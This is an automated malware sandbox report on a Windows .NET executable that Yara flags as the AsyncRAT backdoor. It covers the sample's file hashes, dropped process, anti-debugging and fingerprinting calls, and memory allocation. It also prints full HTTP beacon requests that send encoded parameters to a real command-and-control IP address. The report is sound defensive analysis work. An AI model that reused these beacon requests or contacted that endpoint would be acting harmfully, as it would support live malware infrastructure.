Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 20, 2021, 9:13 a.m.	Aug. 20, 2021, 9:17 a.m.

Size	736.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`a2226ebbc6b9170a8ce5c238dd2cfc68`
SHA256	`cda25c8ae3f9249409a8674ff30f5fda761988147d9d4f8df6a8469de505ea92`
CRC32	`32434DA0`
ssdeep	`12288:sqnO8aND8cUw5mP6vxCP1dzjZSZ5y5+LG8xZIT1uXym1pxhZetaDoiB:s+O8av5TANjZSZ5yYXI1ueEv`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check Is_DotNET_EXE - (no description) UPX_Zero - UPX packed file IsPE32 - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Malicious_Packer_Zero - Malicious Packer

SavesrefruntimedlldriverMonitorDll.exe "C:\Users\test22\AppData\Local\Temp\SavesrefruntimedlldriverMonitorDll.exe"
2232
- lsm.exe "C:\ProgramData\Favorites\lsm.exe"
  812

Name	Response	Post-Analysis Lookup
ip-api.com	A 208.95.112.1	208.95.112.1

IP Address	Status	Action
164.124.101.2	Active	Moloch
208.95.112.1	Active	Moloch
80.87.199.216	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49203 -> 208.95.112.1:80	2022082	ET POLICY External IP Lookup ip-api.com	Device Retrieving External IP Address Detected

Suricata TLS

No Suricata TLS

Queries for the computername (20 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 20, 2021, 9:13 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2021, 9:09 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 20, 2021, 9:13 a.m.			0	0
IsDebuggerPresent Aug. 20, 2021, 9:13 a.m.			0	0
IsDebuggerPresent Aug. 20, 2021, 9:08 a.m.			0	0
IsDebuggerPresent Aug. 20, 2021, 9:08 a.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 20, 2021, 9:13 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Aug. 20, 2021, 9:09 a.m.	stacktrace: 0x7fe91cf7139 0x7fe91cf08f0 mscorlib+0x4ef8a5 @ 0x7feeed0f8a5 mscorlib+0x4ef609 @ 0x7feeed0f609 mscorlib+0x4ef5c7 @ 0x7feeed0f5c7 mscorlib+0x502d21 @ 0x7feeed22d21 CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef136f713 CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef136f242 CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef136f30b NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef1536291 DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef1416d80 DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef1416d0e DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef1416c85 DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef1416dbb NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef1536175 StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef14a66ae BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76e5652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x771ec521 exception.instruction_r: 80 38 00 48 8b 4d 08 e8 7b fa f1 5c 48 89 45 40 exception.instruction: cmp byte ptr [rax], 0 exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x7fe91cf7139 registers.r14: 0 registers.r15: 0 registers.rcx: 487321160 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 487325360 registers.r11: 487318496 registers.r8: 4 registers.r9: 0 registers.rdx: 42708792 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 20, 2021, 9:09 a.m.

stacktrace:

0x7fe91cf7139
0x7fe91cf08f0
mscorlib+0x4ef8a5 @ 0x7feeed0f8a5
mscorlib+0x4ef609 @ 0x7feeed0f609
mscorlib+0x4ef5c7 @ 0x7feeed0f5c7
mscorlib+0x502d21 @ 0x7feeed22d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef136f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef136f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef136f30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef1536291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef1416d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef1416d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef1416c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef1416dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef1536175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef14a66ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76e5652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x771ec521

exception.instruction_r: 80 38 00 48 8b 4d 08 e8 7b fa f1 5c 48 89 45 40
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe91cf7139
registers.r14: 0
registers.r15: 0
registers.rcx: 487321160
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 487325360
registers.r11: 487318496
registers.r8: 4
registers.r9: 0
registers.rdx: 42708792
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	Connection to IP address	suspicious_request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&f5086507d7d6e3265419d4a313a1af60=90c6dd95845cee8f42b83f4a83154e97&2ea7ec2a64fd1c290035512855f53c76=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://ip-api.com/line/?fields=hosting
suspicious_features	Connection to IP address	suspicious_request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&fcd9bfc24bb087cd4651a420f201fd8d=d1nIxcDOxImMlNGNiJWMwcDZzIzYwMWYzIjNxEzYzcjMlZTOyY2NlRWO1IiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&3394755a4396faac6f769a1f2b028eaa=0Vfic2QLFEWhZTNDRWdWJjWolzQkVnVyoFa5kWT0kERPZTQU5Ee0MkTw0EVNV3ZE1Ue0MlTzUkaDRmWU5kNVRVTnVkaNdXSqxENBpGT3lkeXJiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIxcTYwQzNyE2YjZ2MwMmNycTYjhTY1kjNxgDZkJWN0cDNxgTN0IDM5IiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&fcd9bfc24bb087cd4651a420f201fd8d=d1nIwQTZ0YTO1EGZjZTY2QWO0YDZzMmZ2MjYjlTYzI2NhZzNldDO1IWYlJiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W&730eb3cee6c6ef206083f7122c3734c1=0VfiIiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIwQTZ0YTO1EGZjZTY2QWO0YDZzMmZ2MjYjlTYzI2NhZzNldDO1IWYlJiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMisHL9JCMulUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSapUaPlGNXFGdSdVU6xWbJNXSpRVavpWS0ZkMZlmVyYles1WSzl0UXl2bqlEb1IjYvJ0MilnTXFmTOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZRpmTnRDMTd2dXlVd5cVY65EWa1WOtNWUClnTn10MkZnUtJGckxWS2kUajxmWsJGckxWSzBjbJhmVtNmd0VUSvJFWkZnTGlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJVzZU1Ee0knT5VERMlXRE1UM0knT6lUaPlWTyI2cKNETplUMTl2bqlUNKhEZ1Z1MipmSDxUa3dFZ2ZlMVl2bqlUd5cVYuZVbjl2dplUMkdFToJ0MaVXOyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWS4RzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIyEWZ3AzYmV2M1QGN4ADNmlDZllTMmZmYyUGMlZzM1YGZiR2M4UGOyIiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W

Performs some HTTP requests (5 events)

request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&f5086507d7d6e3265419d4a313a1af60=90c6dd95845cee8f42b83f4a83154e97&2ea7ec2a64fd1c290035512855f53c76=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D
request	GET http://ip-api.com/line/?fields=hosting
request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&fcd9bfc24bb087cd4651a420f201fd8d=d1nIxcDOxImMlNGNiJWMwcDZzIzYwMWYzIjNxEzYzcjMlZTOyY2NlRWO1IiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W
request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&3394755a4396faac6f769a1f2b028eaa=0Vfic2QLFEWhZTNDRWdWJjWolzQkVnVyoFa5kWT0kERPZTQU5Ee0MkTw0EVNV3ZE1Ue0MlTzUkaDRmWU5kNVRVTnVkaNdXSqxENBpGT3lkeXJiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIxcTYwQzNyE2YjZ2MwMmNycTYjhTY1kjNxgDZkJWN0cDNxgTN0IDM5IiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W
request	GET http://80.87.199.216/packetprocess.php?qCZPnDy16i5fg2D0rglocPB=iB6OrBMLF9HJtTnAS&8LpNgr7MgS4xPaB3qmGkK5Wuahu=HY3kVmQ00VfPQfe3QRtrHzmB4spDy&x86DEIZUcnJKDUG1TobddIxDwSv2p=6NB5igTNaVd6zGh7vS4D&7e3a3ef18428fe71357b9150e384c75b=gZ3ATYhJGZ2ADN2UTM2UDMiBjNwATNyADN2IDMiVWYiRTMyQWOyczYyIjN1ITOykzNyITN5IjM&2ea7ec2a64fd1c290035512855f53c76=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&fcd9bfc24bb087cd4651a420f201fd8d=d1nIwQTZ0YTO1EGZjZTY2QWO0YDZzMmZ2MjYjlTYzI2NhZzNldDO1IWYlJiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W&730eb3cee6c6ef206083f7122c3734c1=0VfiIiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIwQTZ0YTO1EGZjZTY2QWO0YDZzMmZ2MjYjlTYzI2NhZzNldDO1IWYlJiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMisHL9JCMulUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSapUaPlGNXFGdSdVU6xWbJNXSpRVavpWS0ZkMZlmVyYles1WSzl0UXl2bqlEb1IjYvJ0MilnTXFmTOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZRpmTnRDMTd2dXlVd5cVY65EWa1WOtNWUClnTn10MkZnUtJGckxWS2kUajxmWsJGckxWSzBjbJhmVtNmd0VUSvJFWkZnTGlEdBNkWsxWbaBnTXp1dOhUSwkTbUl2bqlkbKNjYpdXaJVzZU1Ee0knT5VERMlXRE1UM0knT6lUaPlWTyI2cKNETplUMTl2bqlUNKhEZ1Z1MipmSDxUa3dFZ2ZlMVl2bqlUd5cVYuZVbjl2dplUMkdFToJ0MaVXOyUVavpWS1IFWhpmSDxUaBRlT4RzQOpXRqxENBpWT1VleOhXSp9UaBhVYpNnbPlGOtpVdsV0YKp0QMlWSq1EMOhlWwoUaPlWVXJGa1s2Ys5EWWl2dplERCZFT5lERWRlVFZVavpWSsFzVZ9kTFVVa3lWS4RzQOVXUqlkNJl2YspFbjxmWuNGbOxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMGNmZGOkF2MyEGO1MmN4YzMjdzMxQzY2ATO0Y2Y3MGNiwiIyEWZ3AzYmV2M1QGN4ADNmlDZllTMmZmYyUGMlZzM1YGZiR2M4UGOyIiOigjN3YmM0QDZwYDN4kTM0UGOmNzYwgDN5MTMyITMhBDMiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiUmZwEDO4kTMjRmMjZmN3kjYmVGZkZ2NhFTNyIWYmVTMis3W

Allocates read-write-execute memory (usually to unpack itself) (50 out of 182 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000680000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000b80000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000cd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
